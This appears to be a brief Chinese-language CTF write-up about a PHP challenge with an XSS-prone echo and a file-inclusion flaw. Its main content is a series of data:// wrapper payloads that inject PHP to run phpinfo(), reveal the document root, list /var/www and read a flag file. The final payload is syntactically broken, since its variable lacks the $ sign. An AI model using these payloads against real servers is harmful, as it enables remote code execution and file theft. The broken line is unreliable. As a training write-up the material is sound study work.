进入场景
echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。
在下面的代码中,虽然对 $page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 $_GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行
"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件。
"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。
测试
/?page=data://text/plain,<?php phpinfo()?>
目录路径
/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>
目录文件
/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
读取文件内容
/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>